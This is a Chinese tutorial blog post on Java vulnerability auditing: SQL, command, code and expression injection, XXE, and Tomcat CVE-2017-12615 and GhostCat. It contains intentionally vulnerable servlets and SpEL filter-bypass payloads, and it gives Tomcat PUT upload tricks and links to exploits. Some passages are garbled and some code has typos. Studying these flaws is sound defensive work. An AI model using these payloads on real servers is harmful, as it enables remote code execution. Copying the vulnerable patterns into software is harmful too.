Java常规漏洞分析

您所在的位置:网站首页 服务器包含注入 Java常规漏洞分析

Java常规漏洞分析

2024-01-21 21:53| 来源: 网络整理| 查看: 265

本文已参与「新人创作礼」活动,一起开启掘金创作之路

注入 SQL注入 JDBC拼接不当造成SQL注入

JDBC有两种方法执行SQL语句,分别为PrepareStatement和Statement。两个方法的区别在于PrepareStatement会对SQL语句进行预编译,而Statement方法在每次执行时都需要编译,会增大系统开销。理论上PrepareStatement的效率和安全性会比Statement要好,但并不意味着使用PrepareStatement就绝对安全,不会产生SQL注入

PrepareStatement方法支持使用‘?’对变量位进行占位,在预编译阶段填入相应的值构造出完整的SQL语句,此时可以避免SQL注入的产生。但开发者有时为了便利,会直接采取拼接的方式构造SQL语句,此时进行预编译则无法阻止SQL注入的产生。如以下代码所示,PrepareStatement虽然进行了预编译,但在以拼接方式构造SQL语句的情况下仍然会产生SQL注入。代码示例如下(若使用“or 1=1”,仍可判断出这段程序存在SQL注入)

String sql = "select * from user where id =" + req.getParameter("id"); out.println(sql); try{ PreparedStatement pstt = con.prepareStatement(sql); ResultSet re = pstt.executeQuery(); while(rs.next()){ out.println("id:"+rs.getObject("id")); out.println("name:"+re.getObject("name")); } catch(SQLException throwables){ throwables.printStackTrace(); } }

正确地使用PrepareStatement可以有效避免SQL注入的产生,使用“?”作为占位符时,填入对应字段的值会进行严格的类型检查。将前面的“拼接构造SQL语句”改为如下“使用占位符构造SQL语句”的代码片段,即可有效避免SQL注入的产生

PrintWriter out = resp.getWriter(); String sql = "select * from user where id = ?" out.println(sql); try{ PreparedStatement pstt = con.prepareStatement(sql); pstt.setInt(1,Integer.parseInt(req.getParameter("id"))); ResultSet rs = pstt.executeQuery(); .... } 框架使用不当造成SQL注入

如今的Java项目或多或少会使用对JDBC进行更抽象封装的持久化框架,如MyBatis和Hibernate。通常,框架底层已经实现了对SQL注入的防御,但在研发人员未能恰当使用框架的情况下,仍然可能存在SQL注入的风险

Mybatis框架

MyBatis框架的思想是将SQL语句编入配置文件中,避免SQL语句在Java程序中大量出现,方便后续对SQL语句的修改与配置

MyBatis中使用parameterType向SQL语句传参,在SQL引用传参可以使用#{Parameter}和${Parameter}两种方式

使用#{Parameter}构造SQL的代码如下所示

select id,name,age from user where name #{name}

image-20211105124708022

从Debug回显的SQL语句执行过程可以看出,使用#{Parameter}方式会使用“?”占位进行预编译,因此不存在SQL注入的问题。用户可以尝试构造“name”值为“z1ng or 1=1”进行验证。回显如下,由于程序未查询到结果出现了空指针异常,因此此时不存在SQL注入

使用${Parameter}构造SQL的代码如下所示

select id,name,age from user where name = ${name}

image-20211105124916552

“name”值被拼接进SQL语句之中,因此此时存在SQL注入

${Parameter}采用拼接的方式构造SQL,在对用户输入过滤不严格的前提下,此处很可能存在SQL注入

Hibernate

Hibernate是一种ORM框架,全称为 Object_Relative DateBase-Mapping,Hibernate框架是Java持久化API(JPA)规范的一种实现方式。Hibernate 将Java 类映射到数据库表中,从 Java 数据类型映射到 SQL 数据类型。Hibernate是目前主流的Java数据库持久化框架,采用Hibernate查询语言(HQL)注入

HQL的语法与SQL类似,受语法的影响,HQL注入在实际漏洞利用上具有一定的限制

不安全的反射

利用 Java 的反射机制,可以无视类方法、变量访问权限修饰符,调用任何类的任意方法、访问并修改成员变量值

Class clazz = Class.forName("java.lang.Runtime"); clazz.getMethod("exec",String.class.invoke(clazz.newInstance(),"id"));

但是Runtime为单例模式,在其生命周期内只能有一个对象,因此以上代码是无法生效的,正确如下

Class clazz = Class.forName("java.lang.Runtime"); clazz.getMethod("exec",String.class).invoke(clazz.getMethod("getRuntime").invoke(clazz),"calc.exe");

这段payload可以拆分为以下代码

Class clazz = Class.forName("java.lang.Runtime"); Method execMethod = clazz.getMethod("exec",String.class); Method getRuntimeMethod = clazz.getMethod("getRuntime"); Object runtime = getRuntimeMethod.invoke(clazz); execMethod.invoke(runtime,"calc.exe");

Java中的Rce, 常见的可执行函数如:Runtime.getRuntime().exec(),在审计的时候也要看Process、ProcessBuilder.start()

可能出现的环境

服务器直接存在可执行函数(exec()等),且传入的参数过滤不严格导致 RCE 漏洞 由表达式注入导致的 RCE 漏洞,常见的有:SpEL、OGNL(Struts2中常出现)、MVEL、EL、Fel、JST+EL等 由Java后端模板引擎注入导致的RCE漏洞,常见的如:Freemarker、Velocity、Thymeleaf(常用在Spring框架)等 由Java一些脚本语言引起的RCE漏洞,常见的如:Groovy、JavaScriptEngine等 由第三方开源组件引起的RCE漏洞,常见的如:Fastjson、Shiro、Xstream、Struts2、Weblogic等

由不安全的输入造成的反射命令执行Demo

代码对于传入的类、传入的类方法、传入类的参数没有做任何限制

@WebServlet("/Rce") public class Rce extends HttpServlet { @Override protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws IOException { PrintWriter printWriter = resp.getWriter(); // 接收参数 String name = req.getParameter("command"); String method = req.getParameter("method"); String str = req.getParameter("str"); try { // 获取类的无参数构造方法 Class getCommandClass = Class.forName(name); Constructor constructor = getCommandClass.getDeclaredConstructor(); constructor.setAccessible(true); // 实例化类 Object getInstance = constructor.newInstance(); // 获取类方法 Method getCommandMethod = getCommandClass.getDeclaredMethod(method, String.class); // 调用类方法 Object mes = getCommandMethod.invoke(getInstance, str); printWriter.append("即将执行命令"); printWriter.append((Character) mes); printWriter.flush(); } catch (ClassNotFoundException | NoSuchMethodException | InstantiationException | IllegalAccessException | InvocationTargetException e) { e.printStackTrace(); } } }

可以看到代码中存在反射调用,当调用不安全类时,会造成命令执行

http://localhost:8080/JavaRCE_war_exploded/Rce?command=java.lang.Runtime&method=exec&str=calc

image-20211103190540846

命令注入

Java的Runtime类可以提供调用系统命令的功能

protected void doGet(HttpServletRequest req,HttpServletResponse resp) throws ServletException,IOException{ String cmd = req.getParameter("cmd"); Process process = Runtime.getRuntime().exec(cmd); InputStream in = process.getInputStream(); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); byte[] b = new byte[1024]; int i = -1; while((i=in.read(b))!=-1){ byteArrayOutputStream.write(b,0,i); } PrintWriter out = resp.getWriter(); out.print(new String(byteArrayOutputStream.toByteArray())); }

系统命令连接符有 |、||、&、&&

|:前边命令输出结果作为后边的输入 ||:前边的命令执行失败才执行后边的命令 &:前边的命令执行后执行后边的命令 &&:前边的命令执行成功执行后边的命令

注意:Java环境下的命令执行,& 作为字符拼接,不能命令执行

例:Process process = Runtime.getRuntime().exec("ping" + url)

Runtime 类中的 exec 方法,要执行的命令可以通过字符串和数组的方式传入,当传入的参数类型为字符串时,会先经过StringTokenizer的处理,主要是针对空格以及换行符等空白字符进行处理,后续会分割出一个cmdarray数组保存分割后的命令参数,其中cmdarray的第一个元素为所要执行的命令

代码注入

产生代码注入漏洞的前提条件是将用户输入的数据作为Java代码进行执行

由此所见,程序要有相应的功能能够将用户输入的数据当作代码执行,而Java反射就可以实现这样的功能:根据传入不同的类名、方法名和参数执行不同的功能

String ClassName = req.getParameter("ClassName"); String MethodName = req.getParameter("Method"); String[] Args = new String[]{req.getParameter("Args").toString()}; try{ Class clazz = Class.forName(ClassName); Constructor constructor = clazz.getConstructor(String[].class); Object obj = constructor.newInstance(new Object[]{Args}); Method method = clazz.getMethod(MethodName); method.invoke(obj); } ......

代码注入更具有灵活性。例如在Apache Commons collections反序列化漏洞中直接使用Runtime.getRuntime().exec()执行系统命令是无回显的。有安全研究员研究出可回显的利用方式,其中一种思路是通过URLloader远程加载类文件以及异常处理机制构造出可以回显的利用方式

具体步骤如下:

首先构造出一个恶意类代码,并编译成Jar包放置在远程服务器上。然后利用ApacheCommons collections反序列化漏洞可以注入任意代码的特点,构造poc

import Java.io.BufferedReader; import Java.io.InputStreamReader; public class Evil{ public static void Exec(String args) throws Exception{ Process proc = Runtime.getRuntime().exec(args); } }

image-20211107141639880

在将用户可控部分数据注入代码达到动态执行某些功能的目的之前,需进行严格的检测和过滤,避免用户注入恶意代码,造成系统的损坏和权限的丢失

表达式注入

表达式语言(Expression Language),又称EL表达式,是一种在JSP中内置的语言,可以作用于用户访问页面的上下文以及不同作用域的对象,取得对象属性值或者执行简单的运算和判断操作

EL基础语法

在JSP中,用户可以使用来表示此处为EL表达式,例如,表达式”{}来表示此处为EL表达式,例如,表达式”来表示此处为EL表达式,例如,表达式”{ name }”表示获取“name”变量

EL表达式也可以实例化Java的内置类,如Runtime.class会执行系统命令

image-20211107142238647

Spel表达式注入

Spel(Spring 表达式语言全程为Spring Expression Language)是Spring Framework创建的一种表达式语言,它支持在运行时查询和操纵对象图表,注意 Spel 是以 API 接口的形式创建的,允许将其集成到其他应用程序和框架中

特性:

使用 Bean 的 ID 来引用 Bean 可调用方法和访问对象的属性 可对值进行算数、关系和逻辑运算 可使用正则表达式进行匹配 可进行集合操作

基础

Spel 定界符

Spel 使用 #{} 作为定界符,所有在打括号里的字符都被看做是 Spel 表达式,在其中可以使用 Spel 运算符、变量、引用 Bean 及其属性和方法等

#{} 和 ${} 的区别:

#{} 就是 Spel 的定界符,用于指明内容为 Spel 表达式并执行

${} 主要用于加载外部属性文件中的值

两者可以混合使用,但是必须 #{} 在外面,{} 在里面,如:#{'()'},注意单引号是字符串类型才添加的,如#{’ocean'},#{2222 }

漏洞触发

ExpressionParser parser = new SpelExpressionParser();//ExpressionParser构造解析器 Expression exp = parser.parseExpression("'ocean'");//Expression负责评估定义的表达式字符串 String message = (String) exp.getValue();//getValue方法执行表达式

如果表达式字符串是可控的,那么可能就存在命令执行漏洞

在 Spel 中,使用 T() 运算符会调用类作用域的方法和常量

Expression exp = parser.parseExpression("T(java.lang.Runtime)");//Expression负责评估定义的表达式字符串

括号中需要包括类名的全限定名,也就是包名加上类名,唯一例外的是,Spel 内置了 java.lang 报下的类声明,也就是 java.lag.String 可以通过 T(String) 访问,而不需要使用全限定名

Expression exp = parser.parseExpression("T(java.lang.Runtime).getRuntime().exec('calc')");

payload构造

Fuzz

Expression exp = parser.parseExpression("''.class"); Expression exp = parser.parseExpression("\"\".class");

bypass payload

反射调用

T(String).getClass().forName("java.lang.Runtime").getRuntime().exec("calc")

反射调用+字符串拼接,针对java.long、Runtime、exec被过滤的情况

T(String).getClass().forName("java.l"+"ang.Run"+"time").getMethod("ex"+"ec".T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")).new String[]{"cmd","/C","calc"})

当执行的系统命令被过滤或者被URL编码掉时,可以通过String类动态生成字符

new java.lang.ProcessBuilder(new java.lang.String(new byte[]{99,97,108,99})).start()

当执行的系统命令被过滤或者被URL编码时,可以通过String类动态生成字符

T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(108)).concat(T(java.lang.Character).toString(99))) 等于T(java.lang.Runtime).getRuntime.exec('calc')

JavaScript引擎通用poc

T(javax.script.ScriptEngineManager).newInstance().getEngineByName('nashorn').eval("s=[3];s[0]='cmd';s[1]='/C';s[2]='calc';java.la"+"ng.Run"+"time().ex"+"ec(s);")

当T(getClass())被过滤时

''.class.forName('java.lang.Runtime') new String('s').class.forName('java.lang.Runtime')

实例UNctf-goodjava

evoa.me/archives/14…

OGNL表达式注入

OGNL 全称Object-Graph Navigation Language即对象导航图语言,一种功能强大的表达式语言

功能:

存取对象的任意属性 调用对象的方法 遍历整个对象的结构图 实现字段类型转化

webwork2 和 Struts2.x 中使用 OGNL 代替原来的 EL 来做界面数据绑定(就是把textfield.hidden和对象层某个类的某个属性绑定在一起,修改和现实自动同步)Struts2框架因为滥用OGNL表达式,所以漏洞较多

模板注入

FreeMarker模板注入

更多文章:mp.weixin.qq.com/s/lwpeuei58…

ELSE 失效的身份认证

失效的身份认证其实是指会话令牌等设计不合理,为攻击者提供了可乘之机

如:jwt token可猜解

敏感信息泄露

TurboMail邮件系统是某面向企事业单位通信需求而研发的电子邮件服务器系统。该系统的5.2.0版本没有进行充分的权限验证,使每个用户都可以通过访问接口获知“当前已经登录过的用户的邮箱地址”。由于在邮箱的登录页面没有设置验证码,如果用户的密码强度不够,攻击者可能进行爆破登录

XXE

外部实体可支持http、file等协议。不同编程语言所支持的协议不同,Java默认提供对http、https、ftp、file、jar、netdoc、mailto、gopher等协议的支持;“注入”则意指攻击者的恶意数据可以诱使解析器在没有适当授权的情况下执行非预期命令或访问数据

DoS攻击

xxe盲注-oob外带

image-20211107154420792

安全配置错误 Tomcat任意文件写入(CVE-2017-12615)

当 Tomcat 运行在 Windows 主机上,且启用了 HTTP PUT 请求方法,攻击者通过构造的攻击请求向服务器上传包含任意代码的 JSP 文件,可造成任意代码执行

受影响版本:Tomcat 7.0.0 – 7.0.79(7.0.81修复不完全)

漏洞前提:开启PUT上传(修改web.xml配置文件开启PUT上传)、web.xml中readOnly属性为false(Apache Tomcat 7 默认值是 true)

这个漏洞的根本是通过构造特殊后缀名,绕过了 tomcat 检测,让它用 DefaultServlet 的逻辑去处理请求,从而上传 jsp 文件

目前主要三种方法:

evil.jsp%20 evil.jsp::$DATA evil.jsp/

image-20211107160725565

漏洞原理

Tomcat在处理请求时有两个默认的Servlet,一个是DefaultServelt,另一个是JspServlet。两个Servlet被配置在 Tomcat的web.xml中

JspServlet只处理后缀为.jsp 和.jspx的请求。其他请求都由DefaultServlet进行处理,从这一点可以理解为何 PUT请求时 URI为“/1.jsp/”而不直接使用“/1.jsp”,因为直接PUT 请求“/1.jsp”会由JspServlet进行处理,而不是由DefaultServlet处理,无法触发漏洞

想要实现一个Servlet,就必须要继承HttpServlet,DefaultServlet也不例外。在HttpServlet中有一个doPut方法用来处理PUT方法请求,DefaultServlet重写了该方法

protected void doPut(HttpServletRequest req, HttpServletResponse resp) throws ServletException,IOException { if (readOnly) { resp.sendError(HttpServletResponse.SC_FORBIDDEN); return; } String path = getRelativePath(req); InputStream resourseInputStream = null; ...... if(resources.write(path,resourceInputStream,true)) }

该方法的开端就判断了一个readOnly属性,当结果为true时会直接返回403,所以要将该值设置为false。readOnly属性的值来源于Tomcat 的web.xml的配置,在DefaultServlet的配置中添加一项参数,如下所示。Tomcat启动时会读取web.xml,并在用户第一次请求时将DefaultServlet的readOnly属性赋值为false

readonly false

doPut方法的关键点在于resources.write (path, resourceInputStream, true) path变量存放的PUT请求的URI

image-20211107162840286

doPut方法的代码如下图所示,在第184行,path作为参数传入了main.write方法中,并继续执行

image-20211107162932821

当执行到dest = file(path.substring(webAppMount.length())时, false); path被作为参数再次传入,所以选择执行file方法,截取部分代码如下所示

protected final File file(String name,boolean mustExist) { if(name.equals("/")){ name = ""; } File file = new File(fileBase, name); ....... }

file方法中实例化了一个File对象用户后续向目录中写入请求正文中的内容,name参数是我们PUT请求的URI

image-20211107164046837

fileBase参数就是当前Web应用所在的绝对路径

image-20211107164105300

在File对象实例化的过程中会处理掉URL“/1.jsp/”的最后一个“/”以及多余的“/”符号,例如“/com///Test//FileTest//1.jsp/////”经过处理会变成“/com/Test/FileTest/1.jsp”,因此,通过PUT请求,“/1.jsp/”可以达到上传任意文件的目的

paper.seebug.org/399/

Tomcat AJP 文件包含漏洞(CVE-2020-1938)

CVE-2020-1938 又名GhostCat

ApacheTomcat服务器中被发现存在文件包含漏洞,攻击者可利用该漏洞读取或包含Tomcat 上所有 webapp 目录下的任意文件

该漏洞是一个单独的文件包含漏洞,依赖于 Tomcat 的 AJP(定向包协议)。AJP 自身存在一定缺陷,由于Tomcat在处理AJP请求时,未对请求做任何验证,通过设置AJP连接器封装的request对象的属性, 导致产生任意文件读取漏洞和代码执行漏洞

AJP协议使用率约为7.8%,鉴于Tomcat作为中间件被大范围部署在服务器上,该漏洞危害较大

漏洞环境可以使用vulhub

影响范围:

Apache Tomcat 9.x < 9.0.31 Apache Tomcat 8.x < 8.5.51 Apache Tomcat 7.x < 7.0.100 Apache Tomcat 6.x

yinwc.github.io/2020/03/01/…

APJ13 协议

Tomcat主要有两大功能

充当Web服务器,可以对一切静态资源的请求作出回应 充当Servlet容器。常见的Web服务器有 Apache、Nginx、IIS等。常见的Servlet容器有Tomcat、Weblogic、JBOSS等

Servlet 容器可以理解为 Web 服务器的升级版。以 Tomcat 为例,Tomcat 本身可以不作为 Servlet 容器使用,仅仅充当 Web 服务器的角色,但是其处理静态资源请求的效率和速度远不及 Apache,所以很多情况下生产环境会将 Apache 作为 Web 服务器来接收用户的请求。静态资源由 Apache 直接处理,而 Servlet 请求则交由 Tomcat 来进行处理。这种方式使两个中间件各司其职,大大加快了响应速度

用户的请求是以 HTTP 协议的形式传递给 Web 服务器。我们在浏览器中对某个域名或者ip进行访问时,头部都会有 http 或者 https 的表示,而 AJP 浏览器是不支持的,我们无法通过浏览器发送AJP的报文。AJP 这个协议并不是提供给用户使用的

Tomcat$ CATALINA_BASE/conf/web.xml 默认配置了两个 Connector ,分别监听两个不同的端口,一个是 HTTP Connector 默认监听 8080 端口,另一个是AJPConnector 默认监听 8009 端口

HTTP Connector 主要负责接收来自用户的请求,包括静态请求和动态请求。有了 HTTP Connector,Tomcat 才能成为一个 Web 服务器,还可以额外处理 Servlet 和 JSP

而 AJP 的使用对象通常是另一个 Web 服务器,例如 Apache

image-20211107205104274

AJP是一个二进制的TCP传输协议。浏览器无法使用AJP,而是首先由Apache与Tomcat进行AJP的通信,然后由Apache通过proxy_ajp模块进行反向代理,将其转换成HTTP服务器再暴露给用户,允许用户进行访问

这样做的原因是,相对于HTTP纯文本协议来说,效率和性能更高,同时也做了很多优化

在某种程度上,AJP可以理解为HTTP的二进制版,因加快传输效率被广泛应用。实际情况是类似Apache这样有proxy_ajp模块可以反向代理AJP协议的服务器很少,所以AJP协议在生产环境中也很少被用到

漏洞复现

使用vulhub:github.com/vulhub/vulh…

exp:github.com/YDHCUI/CNVD…

image-20211107212103552

-f 参数指定读取的文件

还可以命令执行:github.com/00theway/Gh…

img

漏洞原理

这个原理是真的顶。。。。。

weread.qq.com/web/reader/…



【本文地址】


今日新闻


推荐新闻


CopyRight 2018-2019 办公设备维修网 版权所有 豫ICP备15022753号-3